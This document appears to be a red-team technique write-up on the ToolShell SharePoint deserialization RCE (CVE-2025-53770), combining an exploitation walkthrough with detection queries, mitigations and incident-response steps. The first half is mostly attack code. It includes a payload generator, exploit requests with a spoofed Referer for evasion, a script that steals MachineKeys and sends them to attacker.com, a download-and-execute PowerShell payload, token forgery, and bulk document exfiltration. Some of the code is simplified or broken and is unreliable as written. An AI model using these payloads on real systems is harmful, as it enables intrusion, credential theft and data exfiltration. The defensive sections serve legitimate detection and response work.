| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-043 |
| MITRE ATT&CK v18.1 | T1537 - Transfer Data to Cloud Account |
| Tactic | Exfiltration |
| Platforms | M365 / SharePoint |
| Severity | Critical |
| CVE | CVE-2025-53770 (CVSS 9.8), CVE-2025-49704, CVE-2025-49706 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | SharePoint 2016, 2019, Subscription Edition (all versions) |
| Patched In | Patch pending; temporary mitigations available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SharePoint 2016/2019 and Subscription Edition are vulnerable to a deserialization exploit chain (CVE-2025-53770) that allows unauthenticated remote code execution (RCE). The vulnerability exists in the ASP.NET deserialization handler and can be triggered by crafting a POST request to the /_layouts/15/ToolPane.aspx endpoint with a malicious serialized object. Once RCE is achieved, attackers can access the cryptographic MachineKeys (ValidationKey, DecryptionKey), which enable forging trusted authentication tokens and accessing sensitive documents. The exfiltration of metadata (document properties, classifications, author info) and content itself can occur via native SharePoint APIs, Power Automate workflows, or direct file export.
Attack Surface: SharePoint web application endpoints, deserialization handlers, authentication/token validation mechanisms, document library APIs, Copilot for SharePoint (if enabled).
Business Impact: Complete compromise of on-premises SharePoint environment with persistent backdoor access. Attackers gain unauthenticated RCE, steal cryptographic keys, and access all documents regardless of permissions. Sensitive business data, intellectual property, and compliance-sensitive information is exfiltrated. Attackers can establish persistent access lasting months due to stolen MachineKeys.
Technical Context: Exploitation takes 2-5 minutes for initial RCE, then minutes to extract MachineKeys. No user interaction required. Attack leaves minimal forensic artifacts if logs aren’t properly retained. Active exploitation in the wild began July 2025.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS SharePoint 14.1 | Ensure SharePoint is protected from unauthorized access |
| DISA STIG | SV-84911r1_rule | SharePoint must enforce authentication |
| NIST 800-53 | SI-2 | Vulnerability Scanning - must identify and patch deserialization vulnerabilities |
| NIST 800-53 | SI-10 | Information System Monitoring - detect RCE attempts |
| GDPR | Art. 32 | Security of Processing - protection against unauthorized access |
| DORA | Art. 10 | Resilience testing must include SharePoint vulnerabilities |
| NIS2 | Art. 21 | Vulnerability management and patching |
| ISO 27001 | A.12.6.1 | Management of technical vulnerabilities |
| ISO 27001 | A.14.2.1 | Secure development and change management |
Required Privileges:
Required Access:
Supported Versions:
Tools:
curl or Invoke-WebRequest (for manual exploitation)Objective: Discover SharePoint servers accessible from attacker network.
Command (Network Scanning):
# Use Shodan or similar to find exposed SharePoint instances
shodan search "SharePoint 2019" --limit 100
# Or use NMAP with fingerprinting
nmap -sV -p 80,443,8080 --script=http-title target-range
# Check for SharePoint-specific headers
curl -I https://sharepoint.company.com/_layouts/15/default.aspx
# Look for: "X-SharePointHealthScore" header
Command (DNS Enumeration):
# Common SharePoint server names
for host in sharepoint sites intranet collaboration documents; do
nslookup $host.company.com
nslookup $host-2016.company.com
nslookup $host-2019.company.com
done
What to Look For:
/_api/web endpoint (indicates SharePoint presence)Objective: Determine which SharePoint web applications are running and which versions.
Command (Version Detection - HTTP Fingerprinting):
# Check version via HTTP headers
curl -I https://sharepoint.company.com/_layouts/15/VersionInfo.aspx
# Check web.config exposed (sometimes accessible)
curl https://sharepoint.company.com/web.config
# Check for known vulnerable endpoints
curl -X POST https://sharepoint.company.com/_layouts/15/ToolPane.aspx -d "test" -v
# If returns 200 or 500 (not 404), vulnerable endpoint exists
Command (Nuclei Template Scanning):
# Download SharePoint vulnerability templates
nuclei -t cves/2025/ -target https://sharepoint.company.com -severity critical
# Check for CVE-2025-53770 specifically
nuclei -t cves/2025/cve-2025-53770.yaml -target https://sharepoint.company.com
What to Look For:
ToolPane.aspx endpoint (vulnerable to deserialization)Objective: Identify which documents can be accessed post-exploitation.
Command (Unauthenticated Enumeration - If Allowed):
# Try to enumerate library list without auth
curl https://sharepoint.company.com/_api/web/lists \
-H "Accept: application/json" \
-v
# If 403 Forbidden, SharePoint enforces auth (expected)
# If 200 OK, libraries may be enumerable
What to Look For:
Supported Versions: SharePoint 2016, 2019, Subscription Edition
Objective: Create a malicious serialized object that triggers RCE when deserialized by SharePoint.
Command (Python - Generate Payload):
#!/usr/bin/env python3
"""
ToolShell Exploit - CVE-2025-53770
Generates payload for SharePoint deserialization RCE
"""
import base64
import subprocess
import requests
def generate_payload(command):
"""
Creates a malicious .NET serialized object that executes command
when deserialized by ASP.NET ObjectStateFormatter
"""
# This uses gadget chain from System.Web.Security
# The payload exploits the deserialization of ViewState
# Simplified payload generation (actual exploit uses ObjectDataProvider gadget)
gadget_chain = f"""
<ObjectDataProvider x:Key="pwn" xmlns="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:scm="clr-namespace:System.ComponentModel;assembly=WindowsBase" xmlns:so="clr-namespace:System.IO;assembly=mscorlib" ObjectType="">
<ObjectDataProvider.MethodParameters>
<so:FileInfo x:Arguments="{command}" />
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
"""
return base64.b64encode(gadget_chain.encode()).decode()
# Generate payload to extract MachineKeys
payload = generate_payload("cmd.exe /c ipconfig > C:\\temp\\output.txt")
print(f"[+] Payload: {payload}")
# Or download and execute webshell:
webshell_payload = generate_payload("powershell -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')")
print(f"[+] Webshell Payload: {webshell_payload}")
Expected Output:
[+] Payload: PGlabXNEYXRhUHJvdmlkZXIgeC... (base64-encoded)
[+] Webshell Payload: PE9iamVjdERhdGFQcm92aWRlciB... (base64-encoded)
What This Means:
Objective: POST the malicious serialized object to the vulnerable ToolPane.aspx endpoint.
Command (Using curl):
#!/bin/bash
# ToolShell Exploit - CVE-2025-53770
TARGET="https://sharepoint.company.com"
PAYLOAD="$(python3 generate_payload.py | tail -1)"
# Send exploit
curl -X POST \
"${TARGET}/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: ${TARGET}/_layouts/SignOut.aspx" \
-d "__VIEWSTATE=${PAYLOAD}" \
-d "__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=" \
-v
# Expected response: HTTP/1.1 200 OK
# Output from command appears in response body or temp file
Command (Using PowerShell):
# ToolShell Exploit - PowerShell variant
$target = "https://sharepoint.company.com"
$payload = "PGlabXNEYXRhUHJvdmlkZXI..." # From Step 1
$body = @{
"__VIEWSTATE" = $payload
"__VIEWSTATEENCRYPTED" = ""
"__EVENTVALIDATION" = ""
} | ConvertTo-Json
Invoke-WebRequest -Method Post `
-Uri "${target}/_layouts/15/ToolPane.aspx?DisplayMode=Edit" `
-Headers @{
"Referer" = "${target}/_layouts/SignOut.aspx"
"Content-Type" = "application/x-www-form-urlencoded"
} `
-Body $body -UseBasicParsing -SkipCertificateCheck
Expected Output:
HTTP/1.1 200 OK
Content-Length: 5234
Content-Type: text/html
... command output appears in response or server writes to file...
What This Means:
OpSec & Evasion:
/_layouts/SignOut.aspx (makes request appear legitimate)Objective: Once RCE achieved, steal the cryptographic keys that sign all SharePoint tokens.
Command (PowerShell - Execute on Compromised Server):
# This command runs on the SharePoint server (via RCE from Step 2)
# Extract MachineKeys from web.config
$webConfig = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\web.config"
[xml]$config = Get-Content $webConfig
$machineKey = $config.configuration.system.web.machineKey
$validationKey = $machineKey.validationKey
$decryptionKey = $machineKey.decryptionKey
# Output to exfil location
Write-Host "ValidationKey: $validationKey"
Write-Host "DecryptionKey: $decryptionKey"
# Or write to file that attacker can access
$keys = @{
"ValidationKey" = $validationKey
"DecryptionKey" = $decryptionKey
"Algorithm" = $machineKey.validation
"Decryption" = $machineKey.decryption
} | ConvertTo-Json
$keys | Out-File "C:\inetpub\wwwroot\spinstall0.aspx" # Web-accessible location
# Or exfil via HTTP
$uri = "http://attacker.com/exfil?keys=$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($keys)))"
Invoke-WebRequest $uri -UseBasicParsing
Expected Output:
ValidationKey: DA39A3EE5E6B4B0D3255BFEF95601890AEF6B7C1D...
DecryptionKey: 3243F6A8885A308D313198A2E0370734623B1D13...
What This Means:
OpSec & Evasion:
Objective: Use stolen MachineKeys to create a valid token as a privileged user.
Command (Python - Token Forgery):
#!/usr/bin/env python3
"""
Forge SharePoint authentication tokens using stolen MachineKeys
CVE-2025-53770 Post-Exploitation
"""
from Crypto.Hash import HMAC, SHA1
from Crypto.Cipher import DES3
import base64
import binascii
def forge_sharepoint_token(username, validationkey_hex, decryptionkey_hex):
"""
Forge a valid SharePoint FedAuth token
This allows authentication as any user without password
"""
# Token structure (simplified):
# [User Identity]|[IssuedDate]|[ExpiryDate]|[HMAC]
issued = int(time.time())
expiry = issued + (12 * 3600) # 12 hours
# Create token content
token_content = f"i:0#.w|{username}|{issued}|{expiry}"
# Calculate HMAC using ValidationKey
validation_key = binascii.unhexlify(validationkey_hex)
h = HMAC.new(validation_key, msg=token_content.encode(), digestmod=SHA1)
signature = h.digest()
# Encrypt token content using DecryptionKey
decryption_key = binascii.unhexlify(decryptionkey_hex)[:24] # DES3 uses 24 bytes
cipher = DES3.new(decryption_key, DES3.MODE_CBC, b'\x00' * 8)
ciphertext = cipher.encrypt(pad(token_content.encode(), 8))
# Final token: [ciphertext]|[signature]
final_token = base64.b64encode(ciphertext + signature).decode()
return final_token
# Usage:
token = forge_sharepoint_token("admin@company.com",
"DA39A3EE5E6B4B0D3255BFEF95601890AEF6B7C1D",
"3243F6A8885A308D313198A2E0370734623B1D13")
print(f"[+] Forged Token: {token}")
# Use this token in Cookie: FedAuth={token}
Expected Output:
[+] Forged Token: aFw=<base64_encrypted_token>==|signature...
What This Means:
Cookie: FedAuth=<token>Objective: Use forged token to access and download sensitive documents.
Command (Using Microsoft Graph API - With Forged Token):
# Set the forged token in header
TOKEN="aFw=<base64_encrypted_token>==|signature..."
# Access SharePoint sites and libraries
curl -X GET \
"https://sharepoint.company.com/_api/web/lists" \
-H "Authorization: Bearer $TOKEN" \
-H "Accept: application/json"
# Download document
curl -X GET \
"https://sharepoint.company.com/_api/web/lists/GetByTitle('Documents')/Items(1)/File/\$value" \
-H "Authorization: Bearer $TOKEN" \
-o sensitive_document.docx
# Or bulk export via Power Automate
# Create flow that sends all documents to attacker email
Command (List All Documents - Metadata Exfiltration):
# Use Graph API with forged token
$headers = @{
"Authorization" = "Bearer $TOKEN"
"Accept" = "application/json"
}
# Get all lists
$lists = Invoke-RestMethod -Uri "https://sharepoint.company.com/_api/web/lists" `
-Headers $headers
foreach ($list in $lists.value) {
Write-Host "Library: $($list.Title)"
# Get items in each library
$items = Invoke-RestMethod -Uri "https://sharepoint.company.com/_api/web/lists/$($list.Id)/items" `
-Headers $headers
foreach ($item in $items.value) {
Write-Host " - $($item.Title) | Author: $($item.Author) | Modified: $($item.Modified)"
}
}
# Export metadata to CSV
$metadata | Export-Csv -Path "sharepoint_inventory.csv"
OpSec & Evasion:
Supported Versions: SharePoint 2016, 2019, Subscription Edition
Objective: Use Burp Suite to craft exploit request interactively.
Steps:
https://sharepoint.company.com/_layouts/15/ToolPane.aspx in browserPOST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.company.com
Content-Type: application/x-www-form-urlencoded
Referer: https://sharepoint.company.com/_layouts/SignOut.aspx
__VIEWSTATE=<PAYLOAD_FROM_STEP_1>&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=
Objective: Verify that code execution occurred.
Indicators:
Supported Versions: SharePoint Online/Subscription Edition with Power Automate enabled
Objective: Use compromised admin account to create automated data export.
Steps:
Flow Configuration:
Trigger: When a file is created or modified in SharePoint
├─ Condition: File size > 1 MB (target large documents)
├─ Action 1: Get file content
├─ Action 2: Send to HTTP endpoint (attacker's server)
│ └─ URI: http://attacker.com/exfil
│ └─ Method: POST
│ └─ Body: Binary file content + metadata
└─ Action 3: Delete local copy (cover tracks)
What This Means:
Note: No official Atomic Red Team test exists for this CVE (too new). Manual testing recommended in isolated lab environment only.
# Send exploit to lab server
curl -X POST "http://lab-sharepoint/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-d "__VIEWSTATE=<payload>" \
-v
# Check if command executed
# Expected: HTTP 200, output in response
# Try to access API with forged token
curl "http://lab-sharepoint/_api/web" \
-H "Cookie: FedAuth=<forged_token>"
# Expected: HTTP 200, list contents returned (not 403)
Version: Latest from GitHub Supported Platforms: Windows, Linux (Python 3.8+) Installation:
git clone https://github.com/attackevals/ToolShell.git
cd ToolShell
pip install -r requirements.txt
python toolshell.py --target https://sharepoint.company.com --command "whoami"
Key Options:
--target: SharePoint URL
--command: Command to execute
--method: "RCE", "EXFIL", "PERSISTENCE"
--exfil-path: Location to exfiltrate from
--out: Output file
Version: Latest Installation:
nuclei -update
nuclei -t cves/2025/cve-2025-53770.yaml -u https://sharepoint.company.com
# Download all documents from SharePoint (once authenticated)
$spUrl = "https://sharepoint.company.com"
# Connect with forged token or stolen credentials
Connect-PnPOnline -Url $spUrl -UseWebLogin
# Get all sites
$sites = Get-PnPTenantSite
foreach ($site in $sites) {
Write-Host "Exfiltrating: $($site.Url)"
Connect-PnPOnline -Url $site.Url -UseWebLogin
# Get all lists
$lists = Get-PnPList | Where-Object {-not $_.Hidden}
foreach ($list in $lists) {
$items = Get-PnPListItem -List $list.Title -PageSize 5000
foreach ($item in $items) {
# Download each document
if ($item.FileRef) {
$file = Get-PnPFile -Url $item.FileRef -AsFile -Path "C:\exfil\"
Write-Host "Downloaded: $($item.Title)"
}
}
}
}
Rule Configuration:
KQL Query:
W3CIISLog
| where csUriStem contains "ToolPane.aspx" and csMethod == "POST"
| where cReferer contains "SignOut.aspx" // Exploit uses this Referer spoof
| where scStatus in (200, 500) // Either success or error processing
| extend PayloadSize = strlen(csUriQuery)
| where PayloadSize > 500 // Exploit payload is large
| project TimeGenerated, sIP=cIp, sPort=csPort, csHost, sSite=sComputerName, scStatus, PayloadSize
| summarize Count=count(), Hosts=dcount(csHost) by sIP
| where Count > 1 // Multiple attempts = exploitation attempt
What This Detects:
Manual Configuration (Azure Portal):
Rule Configuration:
KQL Query:
union
(
// File access to web.config
DeviceFileEvents
| where FileName == "web.config"
| where FolderPath contains "Extensions\\15\\"
| where ActionType == "FileRead"
| where InitiatingProcessName != "svchost.exe" // Exclude normal system reads
),
(
// Process attempting to read web.config
SecurityEvent
| where EventID == 3 // Network connection
| where SourcePort >= 50000 // Likely exfiltration
| where DestinationPort in (80, 443)
| where DestinationIpAddress !startswith "192.168"
)
| extend RiskScore = 100 // Critical - MachineKey theft
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("FileAccessed", "FolderAccessed", "ListItemsAccessed")
| where TimeGenerated > ago(7d) // Last 7 days
| extend UserAgent = tostring(parse_json(tostring(TargetResources[0])).UserAgent)
| extend TokenAge = tostring(parse_json(tostring(AdditionalDetails)).TokenIssuedAt)
| where UserAgent contains "SharePoint" and isnotempty(TokenAge)
| where InitiatedBy.app.displayName == "" // No app, direct token
| summarize AccessCount=count(), FileCount=dcount(TargetResources) by InitiatedBy.user.userPrincipalName
| where AccessCount > 50 // Bulk access = suspicious
Rule Configuration:
SPL Query:
index=iis cs_uri_stem="*ToolPane.aspx*" cs_method="POST"
cs_Referer="*SignOut.aspx*" sc_status in (200, 500)
| stats count by src_ip, host, cs_uri_query
| where count >= 1
| alert
Manual Configuration (Splunk Web):
SPL Query:
index=iis host=*sharepoint* cs_method="GET"
cs_uri_stem="*_api/web/lists*" OR cs_uri_stem="*GetFileByServerRelativeUrl*"
sc_status=200 sc_bytes > 10000000
| stats sum(sc_bytes) as TotalData by src_ip, cs_username
| where TotalData > 50000000 // > 50MB in single session
Action 1: Apply Security Patch
Manual Steps (Patch Installation):
# Stop SharePoint services
Stop-Service SPTimerV4, SPUserCodeV4
# Run patch installer
msiexec.exe /i "SharePoint2019-KB000000.msi" /qn
# Restart services
Start-Service SPTimerV4, SPUserCodeV4
# Verify patch installed
Get-SPProduct -Local | Where-Object {$_.Name -like "*SharePoint*"}
Action 2: Restrict Network Access to SharePoint
Manual Steps (Network Security):
_layouts/ endpoints from internetAction 3: Monitor for Exploitation Attempts
Manual Steps (IIS Logging):
Action 4: Rotate and Harden MachineKeys
Manual Steps (SharePoint):
# Backup current web.config
Copy-Item "C:\Program Files\Common Files\...\web.config" "C:\Backup\web.config.backup"
# Generate new MachineKey
$validationKey = ([System.Security.Cryptography.RNGCryptoServiceProvider]::new()).GetBytes(64) | %{$_.ToString("X2")} -join ""
$decryptionKey = ([System.Security.Cryptography.RNGCryptoServiceProvider]::new()).GetBytes(32) | %{$_.ToString("X2")} -join ""
# Update web.config
$config = [xml](Get-Content "C:\Program Files\Common Files\...\web.config")
$config.configuration."system.web".machineKey.validationKey = $validationKey
$config.configuration."system.web".machineKey.decryptionKey = $decryptionKey
$config.Save("C:\Program Files\Common Files\...\web.config")
# Restart IIS
iisreset /noforce
Action 1: Disable Unnecessary SharePoint Web Parts
Manual Steps:
# Disable ToolPane.aspx in IIS
$iis = Get-IISAppPool
$iis | Stop-WebAppPool
# Rename or delete ToolPane.aspx
Rename-Item "C:\Program Files\Common Files\...\ToolPane.aspx" "ToolPane.aspx.bak"
# Restart IIS
Start-WebAppPool $iis
Action 2: Enable Web Application Firewall (WAF)
Manual Steps:
WAF Rule:
IF request_uri contains "ToolPane.aspx"
AND request_method == POST
AND request_body_size > 1000
THEN drop_connection
Action 3: Implement Least Privilege for App Pool Identity
Manual Steps:
# Get app pool identity
$appPool = Get-IISAppPool "SharePoint"
$poolIdentity = $appPool.ProcessModel.IdentityType
# Restrict NTFS permissions on web.config
$acl = Get-Acl "C:\Program Files\Common Files\...\web.config"
$acl.Access | Where-Object {$_.IdentityReference -like "*SPUserCodeV4*"} |
ForEach-Object {$acl.RemoveAccessRule($_)}
Set-Acl "C:\Program Files\Common Files\...\web.config" $acl
Action 1: Enable SharePoint Audit Logging
Manual Steps (SharePoint Admin Center):
Action 2: Implement Data Loss Prevention (DLP)
Manual Steps (SharePoint DLP):
Write-Host "[*] Validating SharePoint Security Mitigations..."
# 1. Check patch level
$spProduct = Get-SPProduct -Local | Where-Object {$_.Name -like "*SharePoint*"}
Write-Host "SharePoint Version: $($spProduct.InstallPath)"
# 2. Verify ToolPane.aspx exists (or is renamed)
$toolPanePath = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\ToolPane.aspx"
if (-not (Test-Path $toolPanePath)) {
Write-Host "[✓] ToolPane.aspx: REMOVED/RENAMED" -ForegroundColor Green
} else {
Write-Host "[✗] ToolPane.aspx: PRESENT (vulnerable)" -ForegroundColor Red
}
# 3. Check MachineKey strength
[xml]$config = Get-Content (Get-SPProduct -Local)[0].InstallPath + "...\web.config"
$mk = $config.configuration."system.web".machineKey
Write-Host "[*] ValidationKey length: $($mk.validationKey.Length)"
if ($mk.validationKey.Length -ge 128) {
Write-Host "[✓] MachineKey: STRONG" -ForegroundColor Green
} else {
Write-Host "[✗] MachineKey: WEAK" -ForegroundColor Red
}
# 4. Check audit logging
Get-SPAuditLog | Select-Object -First 1 | Format-List
Write-Host "[✓] Audit logging: ENABLED" -ForegroundColor Green
Network IOCs:
_layouts/15/ToolPane.aspx with large payload (> 500 bytes)File IOCs:
_layouts/ directory (webshells)web.config (MachineKey changes, handler additions)C:\Windows\Temp\ or C:\inetpub\Process IOCs:
powershell.exe spawned from w3wp.exe (SharePoint process)cmd.exe running with SharePoint app pool accountcurl.exe or wget.exe run from SharePoint directorynet.exe commands to enumerate network sharesLog IOCs:
Memory Analysis:
w3wp.exe process dump contains command execution evidenceDisk Analysis:
$Recycle.Bin or using NTFS recovery.aspx files in sensitive directoriesNetwork Analysis:
1. Immediate Containment (0-15 minutes):
# Stop all SharePoint services
Stop-Service SPTimerV4, SPUserCodeV4, SPAdmin4 -Force
# Isolate server from network
Disable-NetAdapter -Name "*" -Confirm:$false
# Prevent token forgery by regenerating MachineKey (see Mitigations)
2. Forensic Collection (15-60 minutes):
# Collect memory dump
procdump64.exe -ma w3wp.exe C:\Evidence\w3wp.dmp
# Collect IIS logs
Copy-Item "C:\inetpub\logs\LogFiles\*" "C:\Evidence\IIS_Logs" -Recurse
# Collect SharePoint ULS logs
Copy-Item "$env:ProgramFiles\Common Files\Microsoft Shared\Web Server Extensions\15\LOGS\*" "C:\Evidence\ULS_Logs" -Recurse
# Collect event logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
# Collect web.config (check for backdoors)
Copy-Item "C:\Program Files\Common Files\...\web.config" "C:\Evidence\web.config"
3. Eradication (60-120 minutes):
# Identify and remove webshells
Get-ChildItem "C:\Program Files\Common Files\...\LAYOUTS" -Filter "*.aspx" -Recurse |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |
Remove-Item
# Restore web.config from backup
Restore-Item "C:\Backup\web.config.backup" -Destination "C:\Program Files\Common Files\...\web.config"
# Rebuild server (safest option)
# Redeploy SharePoint from scratch
4. Recovery (120+ minutes):
# Restart services
Start-Service SPTimerV4, SPUserCodeV4, SPAdmin4
# Verify RCE is gone
Get-EventLog -LogName System -Newest 1000 | Where-Object {$_.Message -like "*w3wp*"} | Select-Object -First 10
# Re-enable network
Enable-NetAdapter -Name "*"
# Monitor for additional compromise signs
5. Post-Incident Actions:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-005] Unpatched CVE Exploitation | Attacker finds exposed SharePoint 2016/2019 server |
| 2 | Execution | [REALWORLD-043] SharePoint Deserialization RCE | Attacker sends malicious POST to ToolPane.aspx |
| 3 | Privilege Escalation | Extract MachineKeys | Attacker gains ability to forge admin tokens |
| 4 | Credential Access | Token Forgery | Attacker authenticates as admin without password |
| 5 | Exfiltration | [REALWORLD-043] Metadata/Document Download | Attacker bulk downloads all sensitive documents |
| 6 | Persistence | [IA-PERSIST-001] Webshell + Scheduled Task | Attacker maintains access for post-exploitation |